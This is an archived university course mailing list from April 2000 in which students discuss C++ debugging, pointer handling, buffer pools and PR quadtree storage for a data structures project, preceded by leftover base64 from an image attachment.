70AI37Cx6FAI6qCyHvuy2Qqy21CxJFuzDXuy2eCy2qCz5cCzKwuzQIutMpsNNGuzNpux7eCyG3sN KCsEKru014ANOqtDVOu0UvsRVru0Qbu10jq02FC0RkuyRFCF66C0Viu1Z5u1OZu2Ssu0UIu2aIu1 acu1dKusszoOYKuwAWCze4uxZJsOZsuyT8u2hLu2O2u4hGu2dbv/uMU6tHk7BKpAspGLsewQuNsw uJiLuHNbuIl7uIz7ub/quBbrChdLugw7tmVruJkbt2s7uJrLuasLurIbuncbDo9runrbChc7tn9r Dk17tVArt037u06Lsq4LvHCbvLO7vLEqs4+bu5OLu35bqj7LvNYbrc5bs/hQs6gbqlF7veDbtbX7 Dc+7sLNwtF4Xvuq7uNnLt9I7sry7vvJbt+2rve+7u+k7v/rrsfU7sufLvfm7vwL8sP07utMAwL07 wAq8r6fgsp7KDeVruvfbsAG8wBZMr8igCuRKsaWru+brwafbdRc8wvjawNrwwBBswJPLsO/LuwlM wjB8rshwwnjb/8F9a8P4+8IxvMPg2sAijMIpPLp8m8M6zMNGLLSocJ4bbLthi74ifMRQ7K0ZnFxA HMRNDL9PHMVafK1TPArlUL5h68JbPMbW2sVLjLBgDL8uXMRk3MbBasZV7A1FkMYhXJhufMfJCsfp MMciq8ZrzMbQirVy26rVe6qFHBGHbBGJfLnnsMg96w2OvA56zK98HLD/epjwQLyverzgoMlR+7uB a7zG27o5+7SHrMmQLA7VG8ml3LatzMib+8jhUMhaC7y03MiA2w1VC8sSMcmUfJiYnMmvS8jDrMuI 67rIfLhTy8u7XLyl3MnF/LPGLMtnq7hsW8uIDMnYzMmeS82+O//N3MDKe4wKGhzHuwrM9JC5wdvK VbvOxUu13KzKrfsRncDNyazM+EzK3azP1ay2zWzN7Yy8zvzOr+y22yzIg5zPx8y6cDu81YzQAk3Q 36u2De25Br3NttzQTPvQ9IzQ9Iy82PzKhTvR2+DLtIq5GI3S4dzPLE3N/7zQ3RzSFM3QcSvKG53M Ac3JKj3SnQvTqrvPK/3OKZ28KY3RM93MsWzUlkvTL33POx276qzQML3L8ZwNJh2rDk3UPZ3RtSzO Mc25M83Or4vUZL25Pqu4XU3TGQ27NV3PMY3WO7vKC43SG73VOD3Kw8yyLZ21eH3UPG3X/KzOpqzL oMzOhXzVsLr/zFoN1fos0y4N1khd0cob1mWt2LzM0mlt2Vpd0Zo9tWl9uZ0d2F8N2Jx92bcs2WoN 2E4t2kwd2AF92T69S+RMxbdq2Yx9vFSN2j491JMN15vd0iEd2Wdt0cwc1Lvd2tb807E8t7YN2crt 16Wt1qcN3Ist2qvd2thN2Zi92bk92UM1215cq50tvG4t1p/Ns7ht3mNN3MdM3oOc1cW8zM0N222L zO59tQStuh3t2QYt0poLz4Ic1/Ztym9r3Hz93h5N4MFL18Httlyd31Ad4Bp9yIidrF6tyJsMzUm7 4RkR2bMcDxcuz6mdytMK3mdsrCRNqiGOEafM4ZWrER6esvKw/+KEvdQfXuKtcOJ4vOP5WuE8/uPz 6uNAPuTrKuREfuThauRIvuQxO9tBoONMHuVcTM6sAOVSfuXQigyyYOVY3uV2m+Pm7OViTrtgPuZm nscmHuZnvua0quRs/uaw6uZwPufvmuZ0fue1Kud4vuegqufBOtwyTuP5Kuhw7ucqntDkINzQfOFV negvHtETTeBxbcvunN+W7t2wveeGruItC87GzOijKuHQPdD3vNK3/d83zufiyq22uuDcHeCuLuAM /ckeDdICjcpuPbzCa+q8Ht2xm+kvvc/wDeCQjuhdvumhXt297c/RnNP8zMinrrzJHeyKXe2NvdiR Dsu43dyMPf/iY+4R4S3e3H3NHx3s6t3UoP3RyP3f6S3Uq1zY5q3r6g7WzJ3tUw3covzmUyx2tT3u Q23unYvuc23ded3dy03iB5/c2a3w633vRg3aa47sovrw6f3azE3KAq/sfl3VFv/XQS3XQK3UQP3c AH3c0o7pUe611DvvOp3ra33uxR7r6l7X9a618t7slI7fzFzf7O7g/v3y9X7ruy7mEq/q7kDoXl70 Rv/oS//dZd70UN/ndh71VG+vU1/1WD+sV5/1XE8PSt/1YC/H4xv2ZC/JW1/2aH8OX5/2Yb/2bN/1 bv/2Wa/ycp/2cV/3VH/3eA/1er/3S9/3fq/qgB/4mn72hF//94N/+HSe+Ipf6Ibf+Hb/+JBf9ow/ +Wde+Zb/7ZKf+XC/+Zw/957/+VWP+aJ/5aRf+ikf+qyK9KsK6Ew/D6zv6U1/+jMO9GWb4iiP8OPg +ric+xu+yI1u4H+v+qr68KmL8uKc/LL/2Nm8+9LM98RvqhXP0SL9vdu+zhbP85e+1hf96ggO4JKe 7tx/00KP/eXP8HxO+8KM7Rq/3KX+z8bf7hqf8QA//civ2mGt0PQfzXgOCEVGAYQBQoZCiYqLjI2O j5CRjgCKAJaUQpiZl5SWlZqfnomcnZWLpaemo6mrpJmmmqivqrOvrqeXtbKlsqO5sbrBq5LExcbH yMnKy8zN/86LgoWGiM/VxsCstbifrNi0oL3C2sCgweS04uHf5rC22bvsw9rW9PX29/j5itGFh/r5 3uQFBPdOoDh56xCea9WOocJ1Axu6Y9hr4cSLAf9p3MixYzV+hPx5tIapHDhRuTaZ7CZq07xyvnzB 5CRTZqyUNLdhS4nLU86fs3AKDYpSFcyRSJMq5Qhy2tJmR58ifBoVKqOq+LBK3cq166OmIr1eEzsV Kc96KztqJcu2rUew1NzKnUu3rt27W+Hi3cu3r9+/gPUCHky4sOHD+KIFCRkXsePHkCMTVsxYsuXL mDN3VRwkSFjNoEOLHs2MslPSqFOrRm368+rXsGMXbt1Ytv/t27jb0s7Nu7dvpfw6u/5NvLjxZoKP K1/O/OugfrWbS5/uOzn169htW8/Ovfvo7d7Di48Mfrz584GfV/5Nqr379/Djy5/vvpG0+/jz69/P v79/QkbY99+ABBZIYIDElXcbAAY26GCDRsAUnV+C2HdYhQmqd5pvDM4WoYWGYbjIhH2JWJ2Gw+HW 4WQfMkIiXyYm8uJeMfKmoG0rDiaIhBciOGKPxd0oW47p8Riij4rMiFeNuQkZG5EkIbUjiB5SyWKQ KCr5GpTLtLQWOqW1+KMzOU2yUY1aTtJSXkj25iRsXCrj5TFfSjKli89kBGZibaY4lldM4vbmlmlC UpJNoVD/tKYyd45plUAo+YTRM2g+qlInPOFEVJ3OYSmNnzgW+sih8dhCqjONJpmnURIVVVYylTJz KjzkzIpcn01mSVycyJBqETyUiqkqmZnSFBGnkMTapUG/6lImo7gKqit7ojbSXqnAoiqsjKsedJA6 0FqZjK3N6rlMoLcNuhqvfzo0qbmwbgtqu+SCiWyyfVbbTavY7nkMutoNkou+o7FbDEFlasrNrUZa uik3aQUrLp2RSjqMwjXd6il0uxJMVqrcUkWPslECF226AnvicWgG3wXyvBvdi+/EXS46EsCyqata y3a9vPLH+QKZ4ac/a8ZzXT4L7eiVQw/csYcNM720jicH/Ux0x0VkrfXWXHft9ddghy021/IWDWjQ R268HodGtO3223DHLffcdNdtt9wSjq333nz3rXW+fgcuuOBV5zwth/Qlrvjiizdy9+OQRy453I5P bvnlmKu9IXqcd76kepSY7fnopOfDT4eil6766rcSgjrrsMfeUTQMbi777bh/ZEQQtcOc++/AOxdA 76kHb/zogvC+9vHMNy8E7cs7L/3vp9s+/fWxJz+89dh3XzpIoXsv/upgDW7++einr/767Lfv/vvw xy///PSHrSHm+Oev//789+///wAMoAAHSMACGvBuD0qggSyhwP0wsIEQjKAEJ0jBClrwghjMoAYT GAgAOw== --Boundary_(ID_vonfCZ7/HVf8+GZZtfwyrg)-- ========================================================================= Date: Thu, 20 Apr 2000 19:39:54 -0400 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: Jason Giglio Subject: Re: debug error In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Was there some reason you couldn't type in the error message to the listserv instead of attaching a picture of the error window?? Come on.... At 07:24 PM 4/20/00 -0400, you wrote: >can anyone tell me what this is caused by? >thanks- >duffy > >Attachment Converted: "c:\eudora\attach\p4 debug error 1 copy.gif" > ========================================================================= Date: Thu, 20 Apr 2000 19:57:18 -0400 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: Tanner Bonig Subject: Re: debug error In-Reply-To: <3.0.6.32.20000420193954.008514e0@mail.vt.edu> MIME-version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7bit yeah, I mean come on, since pictures are so annoying and take up so much space and give you an EXACT view (not mistyped), oh wait... hahah, never mind Tanner -----Original Message----- From: CS2604 discussion list [mailto:CS2604@listserv.vt.edu]On Behalf Of Jason Giglio Sent: Thursday, April 20, 2000 7:40 PM To: CS2604@LISTSERV.VT.EDU Subject: Re: debug error Was there some reason you couldn't type in the error message to the listserv instead of attaching a picture of the error window?? Come on.... At 07:24 PM 4/20/00 -0400, you wrote: >can anyone tell me what this is caused by? >thanks- >duffy > >Attachment Converted: "c:\eudora\attach\p4 debug error 1 copy.gif" > ========================================================================= Date: Thu, 20 Apr 2000 20:03:45 -0400 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: Jonathan Pryor Subject: Re: debug error In-Reply-To: MIME-version: 1.0 Content-type: text/plain; charset=iso-8859-1 Content-transfer-encoding: 7bit It's caused by: 1) linking against the debug libraries 2) asking for an insane amount of memory. If you link against the release libraries, malloc/new would return NULL (or throw an exception). With the debug libraries, apparently it aborts the program if the memory couldn't be requested. At least, that's the behavior with my sample program: #include #include int main () { size_t s = (size_t)-1; void* p = malloc (s); printf ("return value of ``malloc(%u)'': %p\n", s, p); free (p); return 0; } Solution: request a reasonable amount of memory. Requesting nearly 4.3 GB of memory isn't reasonable, at least under Win32 (where applications are limited to a *maximum* of 2 GB of memory, and the rest is reserved for the kernel). You might want to look for negative allocation sizes (which are then converted to an unsigned value, which produces really large numbers). hth - Jon > -----Original Message----- > From: CS2604 discussion list [mailto:CS2604@listserv.vt.edu]On Behalf Of > =(8-b) > Sent: Thursday, April 20, 2000 7:24 PM > To: CS2604@LISTSERV.VT.EDU > Subject: debug error > > > can anyone tell me what this is caused by? > thanks- > duffy > ========================================================================= Date: Thu, 20 Apr 2000 21:16:57 -0400 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: "=(8-b)" Subject: Re: debug error In-Reply-To: MIME-version: 1.0 Content-type: text/plain; charset=iso-8859-1 Content-transfer-encoding: 7bit ok, this is what the problem was: in my watch window, i had several mem.get()statements. i guess that they were somehow allocating memmory everytime i stepped through the function, or something like that. maybe thats what you mean by linking against the debug libraries. thanks to all- duffy PS - sorry about the 7K of your bandwith (just pretend it was a forward from someone who uses aol) -----Original Message----- From: CS2604 discussion list [mailto:CS2604@listserv.vt.edu]On Behalf Of Jonathan Pryor Sent: Thursday, April 20, 2000 8:04 PM To: CS2604@LISTSERV.VT.EDU Subject: Re: debug error It's caused by: 1) linking against the debug libraries 2) asking for an insane amount of memory. If you link against the release libraries, malloc/new would return NULL (or throw an exception). With the debug libraries, apparently it aborts the program if the memory couldn't be requested. At least, that's the behavior with my sample program: #include #include int main () { size_t s = (size_t)-1; void* p = malloc (s); printf ("return value of ``malloc(%u)'': %p\n", s, p); free (p); return 0; } Solution: request a reasonable amount of memory. Requesting nearly 4.3 GB of memory isn't reasonable, at least under Win32 (where applications are limited to a *maximum* of 2 GB of memory, and the rest is reserved for the kernel). You might want to look for negative allocation sizes (which are then converted to an unsigned value, which produces really large numbers). hth - Jon > -----Original Message----- > From: CS2604 discussion list [mailto:CS2604@listserv.vt.edu]On Behalf Of > =(8-b) > Sent: Thursday, April 20, 2000 7:24 PM > To: CS2604@LISTSERV.VT.EDU > Subject: debug error > > > can anyone tell me what this is caused by? > thanks- > duffy > ========================================================================= Date: Thu, 20 Apr 2000 23:12:32 -0400 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: Matt Subject: Problems with Pointers MIME-version: 1.0 Content-type: text/plain; charset=iso-8859-1 Content-transfer-encoding: 7bit I'm trying to figure out how to place a void pointer into a pointer to a character array, and then get it back. I've done some weird stuff, like cast the pointer as an int, and then stored the int, but I think I'm missing something very basic which would make this whole process alot more elegant. Any advice? --------------------------------------------------------------- Matt Blair www.cslab.vt.edu/~mablair2/ ========================================================================= Date: Mon, 19 Apr 0100 13:13:31 -0400 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: Brian Wagner Subject: Re: Problems with Pointers In-Reply-To: <002d01bfab3f$727012a0$4754143f@126.0.0.1> from "Matt" at Apr 20, 0 11:12:32 pm Content-Type: text > I'm trying to figure out how to place a void pointer into a pointer to a > character array, and then get it back. I've done some weird stuff, like cast > the pointer as an int, and then stored the int, but I think I'm missing > something very basic which would make this whole process alot more elegant. > Any advice? > --------------------------------------------------------------- > Matt Blair > www.cslab.vt.edu/~mablair2/ > Well, this is how I did what I think you're trying to do: char read_the_byte_length_out[NUM_OF_SIZE_BYTES]; // 4 read_the_byte_length_out[0] = ReturnVector[beg_of_vector+0]; read_the_byte_length_out[1] = ReturnVector[beg_of_vector+1]; read_the_byte_length_out[2] = ReturnVector[beg_of_vector+2]; read_the_byte_length_out[3] = ReturnVector[beg_of_vector+3]; const int ciByteLength = *( (int*) &read_the_byte_length_out[0] ); -- // *Brian Wagner, CpE My Homepage: http://www.bigfoot.com/~datatroi DILBERT COMIC STRIP: Dilbert: Bishop takes rook. I have you now, my friend. Dogbert while ruining the board: My Queen has an Uzi in her purse. She slays your entire side. Dilbert: You did the same thing when we played scrabble. Dogbert: Take it like a man. :D O- ------------------------------------------------------------------------- ========================================================================= Date: Fri, 21 Apr 2000 23:12:51 -0400 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: David Cook Subject: Nodes in memory MIME-version: 1.0 Content-type: MULTIPART/ALTERNATIVE; BOUNDARY="Boundary_(ID_SE+vtn0Dy1vab6swwxLBFQ)" This is a multi-part message in MIME format. --Boundary_(ID_SE+vtn0Dy1vab6swwxLBFQ) Content-type: text/plain; charset=iso-8859-1 Content-transfer-encoding: quoted-printable Ok, say we have a 5 buffer buffer pool. Does this mean that there = should never be more than 5 nodes in memory at a time? If we are = traversing down the tree and hit 5 internal nodes and 1 leaf node. = Should the root have been written back to disk? If so how do we keep = tally on how many nodes are resident in memory? =20 Thanks for any help, I've been thinking too hard and have made myself = confused :) -Dave --Boundary_(ID_SE+vtn0Dy1vab6swwxLBFQ) Content-type: text/html; charset=iso-8859-1 Content-transfer-encoding: quoted-printable
Ok, say we have a 5 buffer buffer = pool.  Does=20 this mean that there should never be more than 5 nodes in memory at a=20 time?  If we are traversing down the tree and hit 5 internal nodes = and 1=20 leaf node.  Should the root have been written back to disk?  = If so how=20 do we keep tally on how many nodes are resident in memory?  =
 
Thanks for any help, I've been thinking = too hard=20 and have made myself confused :)
-Dave
--Boundary_(ID_SE+vtn0Dy1vab6swwxLBFQ)-- ========================================================================= Date: Sat, 22 Apr 2000 02:46:58 -0400 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: Jonathan Pryor Subject: Re: Nodes in memory In-Reply-To: <008401bfac08$a517a7d0$7502cb26@Redrum> MIME-version: 1.0 Content-type: MULTIPART/ALTERNATIVE; BOUNDARY="Boundary_(ID_DeBSY0BlwxhbrBe2rOin2g)" This is a multi-part message in MIME format. --Boundary_(ID_DeBSY0BlwxhbrBe2rOin2g) Content-type: text/plain; charset=iso-8859-1 Content-transfer-encoding: 7bit Maybe; it would depend on the size of the buffer. For example, if each buffer is 100 bytes and your node is 20 bytes, you could hold a maximum of 100 nodes in your buffer pool (with 5 buffers). Given that internal and leaf nodes are different sizes, this makes it more probable that you'll be able to hold more nodes than you have buffers, unless the size of a buffer is less than the size of your smallest node (in which case you'll hold less than 5 nodes in memory). - Jon -----Original Message----- From: CS2604 discussion list [mailto:CS2604@listserv.vt.edu]On Behalf Of David Cook Sent: Friday, April 21, 2000 11:13 PM To: CS2604@LISTSERV.VT.EDU Subject: Nodes in memory Ok, say we have a 5 buffer buffer pool. Does this mean that there should never be more than 5 nodes in memory at a time? If we are traversing down the tree and hit 5 internal nodes and 1 leaf node. Should the root have been written back to disk? If so how do we keep tally on how many nodes are resident in memory? Thanks for any help, I've been thinking too hard and have made myself confused :) -Dave --Boundary_(ID_DeBSY0BlwxhbrBe2rOin2g) Content-type: text/html; charset=iso-8859-1 Content-transfer-encoding: quoted-printable
Maybe;=20 it would depend on the size of the buffer.  For example, if each = buffer is=20 100 bytes and your node is 20 bytes, you could hold a maximum of = 100 nodes=20 in your buffer pool (with 5 buffers).
 
Given=20 that internal and leaf nodes are different sizes, this makes it more = probable=20 that you'll be able to hold more nodes than you have buffers, unless the = size of=20 a buffer is less than the size of your smallest node (in which case = you'll hold=20 less than 5 nodes in memory).
 
 - Jon
-----Original Message-----
From: CS2604 discussion = list=20 [mailto:CS2604@listserv.vt.edu]On Behalf Of David = Cook
Sent:=20 Friday, April 21, 2000 11:13 PM
To:=20 CS2604@LISTSERV.VT.EDU
Subject: Nodes in = memory

Ok, say we have a 5 buffer buffer = pool. =20 Does this mean that there should never be more than 5 nodes in memory = at a=20 time?  If we are traversing down the tree and hit 5 internal = nodes and 1=20 leaf node.  Should the root have been written back to disk?  = If so=20 how do we keep tally on how many nodes are resident in memory? =20
 
Thanks for any help, I've been = thinking too hard=20 and have made myself confused :)
-Dave
--Boundary_(ID_DeBSY0BlwxhbrBe2rOin2g)-- ========================================================================= Date: Sat, 22 Apr 2000 11:48:48 -0400 Reply-To: csharp@vt.edu Sender: CS2604 discussion list From: Chris Sharp Subject: inheritance and how to effectively use it in P4 MIME-version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 7bit Hey everyone, I understand what inheritance is and how to use it and how to code it etc. However, for this PRQT which is going to be stored primarily on the disk or bufferPool depending on what is being accessed just like in P3, I am just not sure how to apply it. Having said that, when coding the PRQT to use inheritance...won't I just be building a node from the message I receive from the memory manager...determing it's children or city name depending on what type it is and then pretty much destroying it. Let's say I am simply inserting a leafnode and I must go down 3 levels into the tree. I am just going to be pulling internal nodes and finding the handles to their children and going on to the next node. So I guess my question is how do I use inheritance the way it is meant to be used in this project. I'm sorry if this seems like an amateur question or if it is obvious to everyone else but I am just not seeing it so if anyone could shed some light on it I would appreciate it. Thanks, Chris ========================================================================= Date: Sat, 22 Apr 2000 13:16:57 -0400 Reply-To: csharp@vt.edu Sender: CS2604 discussion list From: Chris Sharp Subject: deleting in the buffer pool MIME-version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 7bit when I go to delete a node in the PRQT I will free space in the memory manager but will I need to write nulls to the disk? My thinking is that if I free the sapce in the memory manager, the next node that will fit in there will just overwrite the old space. But if you look at the "p4bin.dat" the information will still be there yet nothing will refer to it. I guess the better choice would be to write null to that space but is it necessary? Any thoughts? Chris Sharp ========================================================================= Date: Sat, 22 Apr 2000 14:48:41 -0400 Reply-To: joowens@vt.edu Sender: CS2604 discussion list From: John Owens Subject: Debugging Problem MIME-version: 1.0 Content-type: text/plain; charset=iso-8859-1 Content-transfer-encoding: 7bit Ok, I use: void intToBin(int num, char* cint) { memcpy(cint, &num, 4); } to change an integer into a 4 byte character value. In another function i take the 4 characters of cint when it is returned and tack it on, say as the length. so as an example: insert 200, 200 Washington Inserting the CityName: the number "num" above would be 10 because that is the length of Washington and cint would be returned as the 32 bit integer representation of 10. it would be Begin Character Array (stored as char tempdata[80]) : cint[0], cint[1], cint[2], cint[3] and then "Washington". this is shown in my debug as : (tempdata) tempdata[0] : 10 ' ' tempdata[1] : '' tempdata[2] : '' tempdata[3] : '' tempdata[4] : 'W' . . . tempdata[13 : 'n' (concluding "Washington") and that is passed into say the memory manager handle=memman->put(tempdata) where memman->put is: int memman::put(char* data) { ..... } and data only now contains : 10 ' ' and is not even listed under data[0] so now data should hold the values of tempdata, but it ends up cutting off everything after the converted "10" which is in like the first character of tempdata or something. What am I doing wrong here? this is driving me nuts? :) John Owens ========================================================================= Date: Sun, 23 Apr 2000 15:46:29 -0400 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: Dave Sracic Subject: makeNull and deleting cities MIME-version: 1.0 Content-type: text/plain; charset=us-ascii Content-transfer-encoding: 7bit Two similar questions: 1) When we delete a city, do we write NULL's over it in the file, or just make sure that the PRQT realizes it's gone (ie set PRQTbranchNode.northWestNode = NULL)? 2) When we do a makeNull over the PRQT, do we just delete the file, or write NULLS from start to finish and keep it the same size (potentially quite large, for a "NULL" tree)? -Dave ========================================================================= Date: Sun, 23 Apr 2000 15:42:26 -0400 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: "John Anthony Kazos Jr." Subject: Can a directed graph ever be non-connected? MIME-version: 1.0 Content-type: TEXT/PLAIN; charset=US-ASCII I.e., is it possible to have a graph like figure 7.2, but directed? ========================================================================= Date: Sun, 23 Apr 2000 18:41:51 -0700 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: Andrew Kenny Subject: BufferPool MIME-version: 1.0 Content-type: MULTIPART/ALTERNATIVE; BOUNDARY="Boundary_(ID_I9dD0QvMf233nCCLlbFz8w)" This is a multi-part message in MIME format. --Boundary_(ID_I9dD0QvMf233nCCLlbFz8w) Content-type: text/plain; charset=iso-8859-1 Content-transfer-encoding: quoted-printable I am having some problems with how the bufferpool should work. Do the = buffers just store the city names or do they store all the information = about the record? In other words what does a buffer look like in main = memory? --Boundary_(ID_I9dD0QvMf233nCCLlbFz8w) Content-type: text/html; charset=iso-8859-1 Content-transfer-encoding: quoted-printable
I am having some problems with how the = bufferpool=20 should work.  Do the buffers just store the city names or do they = store all=20 the information about the record?  In other words what does a = buffer look=20 like in main memory?
--Boundary_(ID_I9dD0QvMf233nCCLlbFz8w)-- ========================================================================= Date: Sun, 23 Apr 2000 19:31:24 -0400 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: Matt Stec Subject: Re: BufferPool In-Reply-To: <002801bfad8e$43b10860$9f30ad80@mavrick> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" The buffer pool should store "messages." It'll store information like the memory pool in P1. So the buffers will basically be arrays of type char. matt >I am having some problems with how the bufferpool should work. Do the buffers >just store the city names or do they store all the information about the >record? In other words what does a buffer look like in main memory? ========================================================================= Date: Sun, 23 Apr 2000 19:35:56 -0400 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: Matt Stec Subject: Re: inheritance and how to effectively use it in P4 In-Reply-To: <000a01bfac72$3fc53040$92d5c026@dogbert> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" this is a problem I'm having as well. It seems to me that I really just need a tree class that will interpret the messages (which I'd need anyway). Why bother creating a new node to store the information just so you can use functions for that particular type, then delete the node? The message will already have been interpreted once, couldn't the tree class just have functions that will handle traversing the tree without bothering with individual nodes? matt At 11:48 AM 4/22/00 -0400, you wrote: >Hey everyone, > >I understand what inheritance is and how to use it and how to code it etc. >However, for this PRQT which is going to be stored primarily on the disk or >bufferPool depending on what is being accessed just like in P3, I am just >not sure how to apply it. Having said that, when coding the PRQT to use >inheritance...won't I just be building a node from the message I receive >from the memory manager...determing it's children or city name depending on >what type it is and then pretty much destroying it. Let's say I am simply >inserting a leafnode and I must go down 3 levels into the tree. I am just >going to be pulling internal nodes and finding the handles to their children >and going on to the next node. So I guess my question is how do I use >inheritance the way it is meant to be used in this project. > >I'm sorry if this seems like an amateur question or if it is obvious to >everyone else but I am just not seeing it so if anyone could shed some light >on it I would appreciate it. > >Thanks, > >Chris > ========================================================================= Date: Sun, 23 Apr 2000 22:40:14 -0700 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: Stephen Hoskins Subject: Re: BufferPool MIME-version: 1.0 Content-type: MULTIPART/ALTERNATIVE; BOUNDARY="Boundary_(ID_T2nnzy9hrwlVLUsCEzGcVw)" --Boundary_(ID_T2nnzy9hrwlVLUsCEzGcVw) Content-type: text/plain; charset=us-ascii Content-transfer-encoding: 7bit The buffer pool stores everything that it is given by the memory manager -i.e., messages that store node information and messages that store city names, which the memory manager receives from the PR quad tree. -Stephen Hoskins Andrew Kenny wrote: > I am having some problems with how the bufferpool should work. Do the > buffers just store the city names or do they store all the information > about the record? In other words what does a buffer look like in main > memory? --Boundary_(ID_T2nnzy9hrwlVLUsCEzGcVw) Content-type: text/html; charset=us-ascii Content-transfer-encoding: 7bit The buffer pool stores everything that it is given by the memory manager -i.e., messages that store node information and messages that store city names, which the memory manager receives from the PR quad tree.
-Stephen Hoskins

Andrew Kenny wrote:

I am having some problems with how the bufferpool should work.  Do the buffers just store the city names or do they store all the information about the record?  In other words what does a buffer look like in main memory?
--Boundary_(ID_T2nnzy9hrwlVLUsCEzGcVw)-- ========================================================================= Date: Sun, 23 Apr 2000 22:57:23 -0400 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: Saam Tariverdi Subject: Re: BufferPool MIME-version: 1.0 Content-type: MULTIPART/ALTERNATIVE; BOUNDARY="Boundary_(ID_L2/4dquVyDrWYIayiqW6kQ)" This is a multi-part message in MIME format. --Boundary_(ID_L2/4dquVyDrWYIayiqW6kQ) Content-type: text/plain; charset=iso-8859-1 Content-transfer-encoding: quoted-printable Wouldn't that information (node info plus the city name) be in one = "message", that the memory manager sends to the buffer pool? Saam ----- Original Message -----=20 From: Stephen Hoskins=20 To: CS2604@LISTSERV.VT.EDU=20 Sent: Monday, April 24, 2000 1:40 AM Subject: Re: BufferPool The buffer pool stores everything that it is given by the memory = manager -i.e., messages that store node information and messages that = store city names, which the memory manager receives from the PR quad = tree.=20 -Stephen Hoskins Andrew Kenny wrote:=20 I am having some problems with how the bufferpool should work. Do = the buffers just store the city names or do they store all the = information about the record? In other words what does a buffer look = like in main memory? --Boundary_(ID_L2/4dquVyDrWYIayiqW6kQ) Content-type: text/html; charset=iso-8859-1 Content-transfer-encoding: quoted-printable
Wouldn't that information (node info plus the city = name) be in=20 one "message", that the memory manager sends to the buffer = pool?
 
Saam
----- Original Message -----
From:=20 Stephen = Hoskins=20
To: CS2604@LISTSERV.VT.EDU
Sent: Monday, April 24, 2000 = 1:40=20 AM
Subject: Re: BufferPool

The buffer pool stores everything that it is given by = the=20 memory manager -i.e., messages that store node information and = messages that=20 store city names, which the memory manager receives from the PR quad = tree.=20
-Stephen Hoskins

Andrew Kenny wrote:=20

I am having some problems with = how the=20 bufferpool should work.  Do the buffers just store the city = names or do=20 they store all the information about the record?  In other = words what=20 does a buffer look like in main=20 memory?
--Boundary_(ID_L2/4dquVyDrWYIayiqW6kQ)-- ========================================================================= Date: Sun, 23 Apr 2000 23:17:50 -0400 Reply-To: joowens@vt.edu Sender: CS2604 discussion list From: John Owens Subject: Re: BufferPool In-Reply-To: <008201bfad98$d0ab8880$124723d0@saam> MIME-version: 1.0 Content-type: MULTIPART/ALTERNATIVE; BOUNDARY="Boundary_(ID_DZ+z98kDQHHwGAX/EsjeBQ)" This is a multi-part message in MIME format. --Boundary_(ID_DZ+z98kDQHHwGAX/EsjeBQ) Content-type: text/plain; charset=iso-8859-1 Content-transfer-encoding: 7bit No, the node information would be "AAAALXXXXYYYYCCCC" with AAAA being the length L being a leaf node XXXX being the x coord YYYY being the y coord CCCC being the HANDLE of the city name For Instance: insert 200 200 Washington ZZZZWashingtonAAAALXXXXYYYYCCCC ZZZZ would be 10 (length of washington) converted, followed by Washington, the city name AAAA would be 13 (the length of a leaf node) L is that it is a leaf node XXXX is 200 converted YYYY is 200 converted CCCC is the handle for the first "Z" which, if this were the only thing in the bufferpool, be (0) this is how the disk would look if you say had buffers of 10 length they would look like Head (most recently used) XXXYYYYCCCC00000000 Next ZZZZWashingtonAAAALX the 0's being nulls, or empty values the city must be entered first to obtain its proper handle to put in the leaf before the leaf is inserted. Therefore the order of the buffer. John Owens -----Original Message----- From: CS2604 discussion list [mailto:CS2604@listserv.vt.edu]On Behalf Of Saam Tariverdi Sent: Sunday, April 23, 2000 10:57 PM To: CS2604@LISTSERV.VT.EDU Subject: Re: BufferPool Wouldn't that information (node info plus the city name) be in one "message", that the memory manager sends to the buffer pool? Saam ----- Original Message ----- From: Stephen Hoskins To: CS2604@LISTSERV.VT.EDU Sent: Monday, April 24, 2000 1:40 AM Subject: Re: BufferPool The buffer pool stores everything that it is given by the memory manager -i.e., messages that store node information and messages that store city names, which the memory manager receives from the PR quad tree. -Stephen Hoskins Andrew Kenny wrote: I am having some problems with how the bufferpool should work. Do the buffers just store the city names or do they store all the information about the record? In other words what does a buffer look like in main memory? --Boundary_(ID_DZ+z98kDQHHwGAX/EsjeBQ) Content-type: text/html; charset=iso-8859-1 Content-transfer-encoding: quoted-printable
No,=20 the node information would be
 
"AAAALXXXXYYYYCCCC"
with=20 AAAA being the length
L=20 being a leaf node
XXXX=20 being the x coord
YYYY=20 being the y coord
CCCC=20 being the HANDLE of the city name
 
For=20 Instance:
insert=20 200 200 Washington
 
ZZZZWashingtonAAAALXXXXYYYYCCCC<= /DIV>
ZZZZ=20 would be 10 (length of washington) converted, followed by Washington, = the city=20 name
AAAA=20 would be 13 (the length of a leaf node)
L is=20 that it is a leaf node
XXXX=20 is 200 converted
YYYY=20 is 200 converted
CCCC=20 is the handle for the first "Z" which, if this were the only thing in = the=20 bufferpool, be (0)
 
this=20 is how the disk would look
if you=20 say had buffers of 10 length they would look like
Head=20 (most recently used)
XXXYYYYCCCC00000000
Next
ZZZZWashingtonAAAALX
 
the 0's being=20 nulls, or empty values
the city must be=20 entered first to obtain its proper handle to put in the leaf before the = leaf is=20 inserted.  Therefore the order of the=20 buffer.
 
John=20 Owens
 
-----Original Message-----
From: CS2604 discussion = list=20 [mailto:CS2604@listserv.vt.edu]On Behalf Of Saam=20 Tariverdi
Sent: Sunday, April 23, 2000 10:57 = PM
To:=20 CS2604@LISTSERV.VT.EDU
Subject: Re: = BufferPool

